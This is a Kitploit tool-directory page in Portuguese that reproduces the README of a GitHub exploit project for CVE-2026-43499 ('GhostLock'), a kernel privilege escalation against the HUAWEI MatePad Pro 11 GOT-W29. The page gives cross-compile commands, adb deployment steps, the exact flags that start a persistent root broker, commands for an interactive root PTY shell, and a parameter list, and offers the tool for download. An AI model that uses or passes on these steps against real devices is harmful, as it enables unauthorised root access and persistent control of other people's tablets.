Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
GhostLock-GOT-W29 — Pesquisa sobre CVE-2026-43499 (GhostLock) no HUAWEI MatePad Pro 11 GOT-W29 | Kitploit
Ferramentas/GitHubGitHub/zzzxxxxxxxxxx/ghostlock-got-w29
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoEngenharia ReversaSegurança MóvelExploração de Binários
GitHubzzzxxxxxxxxxx/ghostlock-got-w29

GhostLock-GOT-W29

Pesquisa sobre CVE-2026-43499 (GhostLock) no HUAWEI MatePad Pro 11 GOT-W29

Ver Repositório
6138há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

GhostLock GOT-W29

Adaptação de escalada de privilégios CVE-2026-43499 para HUAWEI MatePad Pro 11 (GOT-W29, SM8250 / Snapdragon 870, HarmonyOS 4.x, kernel 4.19.157-perf+).

Estado atual:

  • Rota A concluída em dispositivo real: credenciais root privadas legítimas, SELinux mantido em u:r:shell:s0
  • Broker root persistente: @gl_su
  • Shell root PTY completo: Ctrl-C, teclas de direção e controle de trabalhos em segundo plano funcionam
  • Leitura arbitrária usa ctl_table random/uuid independente, sem modificar boot_id e o nó ashmem
  • Verificação de inicialização a frio do App aprovada
  • Rota B (u:r:kernel:s0 + full caps) ainda é TODO

Princípio completo, offsets, modos de falha e histórico em TECHNICAL.md.

Compilação

cd exploit/ghostlock-source
make -j3

Artefato:

exploit/ghostlock-source/build/bin/ghostlock_exe

A máquina atual usa NDK sysroot + host clang para compilação cruzada, consulte exploit/ghostlock-source/TOOLCHAIN.md.

Inicialização no dispositivo real

adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe

Iniciar o broker da rota A:

adb shell /data/local/tmp/ghostlock_exe \
  --su-server --simple-root --fake-lock-window \
  --detach --probe-cycle --no-rt --attempts 1 \
  --leak-timeout 60 --fsync \
  --log-file /sdcard/ghostlock-su.log

Em caso de sucesso, o log contém:

simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su

Uso

Executar a partir de outro adb shell:

adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'seu comando'

O shell root interativo deve usar -t:

adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell

o broker aloca um terminal de controle real para o shell, portanto tty deve mostrar /dev/pts/N, e Ctrl-C, as setas, jobs e a alternância entre primeiro e segundo plano funcionam normalmente.

Notas de segurança

  • --fake-lock-window e --detach são parâmetros críticos para a execução segura no dispositivo real.
  • Não use --hold; não encerre diretamente com kill -9 o worker que já consumiu o waiter pendente.
  • Uma tentativa com falha pode disparar oops/panic; no dispositivo real mantenha --attempts 1.
  • Para limpar o worker detach, reinicie o dispositivo.
  • --verify-write, --verify-read, --verify-all são autotestes da primitiva de escrita em boot_id, corrompem os 8 bytes altos do boot_id e só devem ser executados em QEMU ou quando o risco for explicitamente aceito.
  • Não use --escalate no lugar da rota A; ele é reservado para pesquisa da rota B e apresenta risco no ciclo de vida de cred.

QEMU

cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'

Detalhes do QEMU em tools/qemu-test/README.md.

TODO da rota B

Objetivo: obter u:r:kernel:s0 e capability completa.

Pendências:

  • Ciclo de vida de cred/security e recuperação RCU
  • Execução de programas em espaço de usuário no domínio kernel
  • Políticas de socket bind / mount / acesso a arquivos no domínio kernel
  • fork de processo filho root e herança de SID
  • Se a correção de permissive/SID introduz efeitos colaterais globais

Parâmetros principais

--simple-root             escalada de privilégios da rota A
--su-server               inicia o broker root
--rsh CMD                 executa um único comando
--rsh-shell               shell interativo PTY completo
--fake-lock-window        usa fake lock privado na pilha (recomendado no dispositivo real)
--detach                  mantém vivo permanentemente o worker que consumiu o waiter
--probe-cycle             forma atual de disparo de EDEADLK estável no kernel
--no-rt                   evita que waiters RT causem starvation de CFS
--attempts 1              não repete tentativas após falha no dispositivo real
--log-file PATH           log persistente
--fsync                   grava o final-result no disco

--help lista todos os parâmetros de autoteste e pesquisa.

Baixar ferramenta